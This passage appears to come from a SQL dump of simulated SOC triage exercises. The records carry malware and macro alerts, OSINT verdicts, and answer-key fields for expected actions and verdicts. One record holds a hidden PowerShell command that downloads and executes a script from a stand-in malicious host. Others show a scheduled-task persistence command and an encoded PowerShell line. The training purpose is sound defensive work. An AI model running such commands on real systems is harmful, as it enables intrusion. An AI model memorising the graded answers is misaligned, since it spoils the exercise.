activity\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"f3a8f8d9c8e9d1a9b1b9c8d7e8f9a1b2\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash associated with multiple malware campaigns\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"C:\\\\Users\\\\jdoe\\\\Downloads\\\\malicious.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Executables in user downloads folder are often malicious\"}},{\"id\":\"artifact_4\",\"type\":\"ip\",\"value\":\"192.168.1.102\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of victim machine\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"block_hash\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The IP address and file hash were identified as involved in malicious activities, confirming a malware infection.\"}', 'Intermediate', 'MAL', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(2219, 'Suspicious Macro Activity Detected in Finance Department', 'critical', 'Any.Run', 'A suspicious macro was executed from a document received via email, attempting to download additional payloads.', 'Malware', 'T1204', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:55:27Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.10.45\",\"dst_ip\":\"198.51.100.23\",\"username\":\"asmith\",\"hostname\":\"FINANCE-PC01\",\"command_line\":\"C:\\\\Program Files\\\\Microsoft Office\\\\root\\\\Office16\\\\WINWORD.EXE /m\",\"file_hash\":\"c4d9e9f7b8a9d0e8c7b6a5e4f3d2c1b0\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"IP is linked to malicious macro download activities\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"c4d9e9f7b8a9d0e8c7b6a5e4f3d2c1b0\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Macro hash identified in multiple ransomware cases\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"C:\\\\Program Files\\\\Microsoft Office\\\\root\\\\Office16\\\\WINWORD.EXE /m\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Macro execution via WINWORD indicates potential malware delivery\"}},{\"id\":\"artifact_4\",\"type\":\"ip\",\"value\":\"192.168.10.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the affected machine within the finance department\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"block_hash\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Macro execution from an email attachment led to network connections to a known malicious IP, confirming the threat.\"}', 'Intermediate', 'MAL', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2220, 'Potential Malicious Macro Execution - False Positive', 'medium', 'IDA Pro', 'A macro execution was observed in a document; however, further investigation shows it was part of a legitimate update process.', 'Malware', 'T1204', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:45:50Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.5\",\"dst_ip\":\"203.0.113.100\",\"username\":\"bwhite\",\"hostname\":\"HR-DEPT-PC\",\"command_line\":\"C:\\\\Program Files\\\\Microsoft Office\\\\root\\\\Office16\\\\EXCEL.EXE /x\",\"file_hash\":\"a1b2c3d4e5f67890abcdef1234567890\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"No malicious activity associated with this IP\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"a1b2c3d4e5f67890abcdef1234567890\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"File hash matches legitimate Microsoft Office update\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"C:\\\\Program Files\\\\Microsoft Office\\\\root\\\\Office16\\\\EXCEL.EXE /x\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Excel macro execution as part of an update process\"}},{\"id\":\"artifact_4\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the HR department machine\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Upon review, the macro execution was identified as part of a routine update, leading to a false positive.\"}', 'Intermediate', 'MAL', 5, 1, 'RETAIL', NULL, NULL, NULL, 0),
(2221, 'Packed Executable Analyzed - False Positive', 'medium', 'Ghidra', 'A packed executable was analyzed and initially flagged as suspicious, but further investigation confirmed it was benign software.', 'Malware', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:22:05Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.20.15\",\"dst_ip\":\"198.51.100.50\",\"username\":\"mjones\",\"hostname\":\"ENGINEERING-PC03\",\"command_line\":\"C:\\\\Program Files\\\\EngineeringSoftware\\\\install.exe\",\"file_hash\":\"1234567890abcdef1234567890abcdef\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"clean\",\"details\":\"IP is associated with legitimate software updates\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"1234567890abcdef1234567890abcdef\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"File hash corresponds to verified engineering software\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"C:\\\\Program Files\\\\EngineeringSoftware\\\\install.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Installation executable for recognized software\"}},{\"id\":\"artifact_4\",\"type\":\"ip\",\"value\":\"192.168.20.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the engineering department machine\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The executable was initially flagged due to packing, but was identified as a legitimate engineering tool.\"}', 'Intermediate', 'MAL', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(2222, 'Malicious Macro Executed - Attempt to Gain Persistence', 'critical', 'Cuckoo Sandbox', 'A malicious macro was executed, attempting to create a scheduled task for persistence, linked to a known threat actor.', 'Malware', 'T1053', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T13:15:42Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.1.20\",\"dst_ip\":\"203.0.113.25\",\"username\":\"slee\",\"hostname\":\"CEO-LAPTOP\",\"command_line\":\"C:\\\\Windows\\\\System32\\\\schtasks.exe /Create /SC Daily /TN \\\"Updater\\\" /TR \\\"C:\\\\Temp\\\\update.vbs\\\"\",\"file_hash\":\"abcdef1234567890abcdef1234567890\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP has been used in multiple APT campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"abcdef1234567890abcdef1234567890\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Macro hash associated with known malware for persistence\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"C:\\\\Windows\\\\System32\\\\schtasks.exe /Create /SC Daily /TN \\\"Updater\\\" /TR \\\"C:\\\\Temp\\\\update.vbs\\\"\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Scheduled task creation for persistence on the host\"}},{\"id\":\"artifact_4\",\"type\":\"ip\",\"value\":\"10.0.1.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the CEO\'s laptop\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The creation of a scheduled task for persistence, along with communication to a C2 server, confirms the attack.\"}', 'Intermediate', 'MAL', 5, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(2223, 'Suspicious Packed Executable Detected via IDA Pro Analysis', 'high', 'IDA Pro', 'A packed executable was detected attempting to execute on a victim machine. Reverse engineering revealed suspicious code execution patterns indicative of malware.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:30:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"203.0.113.50\",\"username\":\"jdoe\",\"hostname\":\"victim-pc\",\"command_line\":\"C:\\\\Windows\\\\temp\\\\malware.exe /silent\",\"file_hash\":\"4a1d8f72c873e6f8d7a2d4f1b6c8d9e3\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of victim machine\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 102 times for hosting malware\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"4a1d8f72c873e6f8d7a2d4f1b6c8d9e3\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Detected as Trojan.Packed\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Executable packed with known malicious patterns; confirmed via reverse engineering and OSINT.\"}', 'Intermediate', 'MAL', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(2224, 'Macro-Based Malware Execution Detected via Ghidra', 'critical', 'Ghidra', 'Analysis of a macro-enabled document revealed code execution leading to a PowerShell payload download. This indicates a macro-based initial access attempt.', 'Malware', 'T1059.001', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:15:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.15\",\"dst_ip\":\"198.51.100.23\",\"username\":\"asmith\",\"hostname\":\"workstation-12\",\"command_line\":\"powershell.exe -ExecutionPolicy Bypass -File C:\\\\Users\\\\asmith\\\\Documents\\\\malicious.ps1\",\"file_hash\":\"b52c8f33f2a9e8fbd7e5a7c9a2f4d1e2\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of victim machine\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with C2 server activity\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"b52c8f33f2a9e8fbd7e5a7c9a2f4d1e2\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Script identified as malicious PowerShell payload\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"PowerShell script execution from macro indicates a sophisticated attack vector.\"}', 'Intermediate', 'MAL', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2225, 'Cuckoo Sandbox Alert: Malicious Macro Execution Attempt', 'medium', 'Cuckoo Sandbox', 'An analysis of a document revealed an embedded macro attempting to execute a suspicious command that downloads a file from an external IP.', 'Malware', 'T1203', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:00:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.20\",\"dst_ip\":\"203.0.113.75\",\"username\":\"bwhite\",\"hostname\":\"office-pc-5\",\"command_line\":\"cmd.exe /c powershell -w hidden -c \\\"IEX(New-Object Net.WebClient).DownloadString(\'http://malicious.example.com/script.ps1\')\\\"\",\"file_hash\":\"d4c3b2a1e8f5c6d7b9a8e7f6c5d4b3a2\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.20\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of victim machine\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.75\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP known for hosting malicious scripts\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d4c3b2a1e8f5c6d7b9a8e7f6c5d4b3a2\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Malicious macro script execution detected\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The command line execution indicates an attempt to download and execute a malicious script.\"}', 'Intermediate', 'MAL', 5, 1, 'RETAIL', NULL, NULL, NULL, 0),
(2226, 'Any.Run Analysis Flagged Benign Script Execution', 'low', 'Any.Run', 'A scheduled script execution was flagged for unusual activity. Further analysis revealed it to be a legitimate system update process.', 'Malware', 'T1059.004', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:00:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.25\",\"dst_ip\":\"203.0.113.80\",\"username\":\"csysadmin\",\"hostname\":\"server01\",\"command_line\":\"C:\\\\Windows\\\\system32\\\\update.exe /auto\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of server\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.80\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"IP associated with legitimate update server\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"C:\\\\Windows\\\\system32\\\\update.exe /auto\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Recognized as a legitimate system update command\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The script was part of a routine system update process and posed no threat.\"}', 'Intermediate', 'MAL', 5, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(2227, 'Ghidra Analysis of Suspicious Script Reveals Benign Activity', 'low', 'Ghidra', 'A script flagged for potentially malicious behavior was analyzed and found to be a part of an automated backup task.', 'Malware', 'T1086', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:30:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.5\",\"dst_ip\":\"203.0.113.90\",\"username\":\"backupuser\",\"hostname\":\"backup-server\",\"command_line\":\"backupscript.sh --run\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of backup server\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.90\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"Backup destination IP is clean\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"backupscript.sh --run\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Recognized as part of a scheduled backup process\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The script execution is part of a scheduled backup task and is non-malicious.\"}', 'Intermediate', 'MAL', 5, 1, 'OT_ICS', NULL, NULL, NULL, 0),
(2228, 'Suspicious Packed Executable Detected', 'high', 'Cuckoo Sandbox', 'A packed executable with a known malicious hash was detected on an internal machine. Reverse engineering tools have flagged the binary for further analysis.', 'Malware', 'T1027', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:45:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.25\",\"dst_ip\":null,\"username\":\"jdoe\",\"hostname\":\"INTERNAL-PC-01\",\"command_line\":\"C:\\\\Temp\\\\malicious_packed_exe.exe\",\"file_hash\":\"c0ffeeaddbabe123456789abcdef123456789abc\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"c0ffeeaddbabe123456789abcdef123456789abc\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with multiple malware campaigns.\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"C:\\\\Temp\\\\malicious_packed_exe.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Executable flagged for suspicious behavior.\"}}],\"expected_actions\":[\"block_hash\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The hash is confirmed malicious, correlating with known malware signatures.\"}', 'Intermediate', 'MAL', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(2229, 'Malicious Macro Detected in Email Attachment', 'critical', 'Ghidra', 'A malicious macro embedded in a Word document was detected. The macro is designed to download and execute further payloads.', 'Malware', 'T1203', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T07:30:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.42\",\"username\":\"asmith\",\"hostname\":\"INTERNAL-PC-02\",\"email_sender\":\"attacker@example.com\",\"file_hash\":\"deadbeef1234567890abcdef1234567890abcdef\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for suspicious activity.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"deadbeef1234567890abcdef1234567890abcdef\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash identified in multiple malicious macro analysis reports.\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"attacker@example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Email address linked to phishing campaigns.\"}},{\"id\":\"artifact_4\",\"type\":\"ip\",\"value\":\"192.168.1.42\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address.\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The macro\'s behavior and associated hash confirm malicious intent.\"}', 'Intermediate', 'MAL', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2230, 'Suspicious Network Activity from Internal Host', 'medium', 'Any.Run', 'Unusual network traffic from an internal host was observed communicating with a known C2 server.', 'Lateral Movement', 'T1071', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T06:15:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.50\",\"dst_ip\":\"203.0.113.155\",\"username\":\"bthomas\",\"hostname\":\"INTERNAL-SRV-01\",\"domain\":\"malicious-c2.example.com\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.155\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP known to be a command and control server.\"}},{\"id\":\"artifact_3\",\"type\":\"domain\",\"value\":\"malicious-c2.example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Domain associated with malware distribution.\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The destination IP and domain are linked to known C2 infrastructure.\"}', 'Intermediate', 'MAL', 5, 1, 'ENERGY', NULL, NULL, NULL, 0),
(2231, 'Benign Code Execution Flagged by Reverse Engineering Tool', 'low', 'IDA Pro', 'An internal script execution was mistakenly flagged due to a false signature match. No malicious activity was detected.', 'Malware', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T05:00:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.75\",\"dst_ip\":null,\"username\":\"mwhite\",\"hostname\":\"INTERNAL-LAPTOP-01\",\"command_line\":\"C:\\\\Scripts\\\\routine_task.exe\",\"file_hash\":\"beefcafe1234567890abcdef1234567890abcdef\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.75\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"beefcafe1234567890abcdef1234567890abcdef\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"Hash not associated with any known malicious activity.\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"C:\\\\Scripts\\\\routine_task.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"clean\",\"details\":\"Executable identified as routine internal task.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The alert was triggered by a false signature match; no threat found.\"}', 'Intermediate', 'MAL', 5, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(2232, 'False Positive: Internal Script Misidentified as Threat', 'low', 'Any.Run', 'A routine script execution within the network was flagged as suspicious due to heuristic analysis, but no malicious intent was identified upon review.', 'Malware', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T04:30:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.90\",\"dst_ip\":null,\"username\":\"klee\",\"hostname\":\"INTERNAL-WORKSTATION-03\",\"command_line\":\"C:\\\\Utilities\\\\internal_tool.exe\",\"file_hash\":\"cafebabe1234567890abcdef1234567890abcdef\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.90\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"cafebabe1234567890abcdef1234567890abcdef\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"Hash not associated with any known malicious activity.\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"C:\\\\Utilities\\\\internal_tool.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"clean\",\"details\":\"Executable verified as a legitimate internal tool.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The execution was part of normal operations, misflagged by heuristics.\"}', 'Intermediate', 'MAL', 5, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2233, 'Packed Executable Detected via Reverse Engineering', 'high', 'IDA Pro', 'A packed executable was deobfuscated using reverse engineering tools, revealing malicious code meant for data exfiltration.', 'Malware', 'T1027', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:45:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.101\",\"dst_ip\":\"\",\"username\":\"jdoe\",\"hostname\":\"workstation-01\",\"command_line\":\"/usr/bin/ida_pro /malware/suspicious_file.exe\",\"file_hash\":\"7d2f8d8c9a1b0c9eb0f5e7e8f2d2f5b9\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.101\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"7d2f8d8c9a1b0c9eb0f5e7e8f2d2f5b9\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Identified as a Trojan with data exfiltration capabilities\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"/usr/bin/ida_pro /malware/suspicious_file.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"suspicious\",\"details\":\"Execution of potentially malicious executable\"}}],\"expected_actions\":[\"block_hash\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The unpacked executable reveals known malicious patterns linked to data exfiltration.\"}', 'Intermediate', 'MAL', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(2234, 'Malicious Macro Executed in Document', 'critical', 'Ghidra', 'A document containing macros was reverse engineered, revealing a PowerShell script designed to download additional payloads from a C2 server.', 'Malware', 'T1059.001', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:20:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"203.0.113.85\",\"dst_ip\":\"192.168.1.150\",\"username\":\"asmith\",\"hostname\":\"laptop-02\",\"command_line\":\"powershell.exe -EncodedCommand aQBlAHgAQQBNAHAAbABlAC4AZABvAGMALgB4AHgAcwBzAA==\",\"file_hash\":\"b9f1a9d8c2d5f7e8f1d2f3b9e8f7b2c3\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.85\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported several times for hosting malicious scripts\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"b9f1a9d8c2d5f7e8f1d2f3b9e8f7b2c3\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Macro document with embedded PowerShell script\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"powershell.exe -EncodedCommand aQBlAHgAQQBNAHAAbABlAC4AZABvAGMALgB4AHgAcwBzAA==\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Encoded PowerShell command 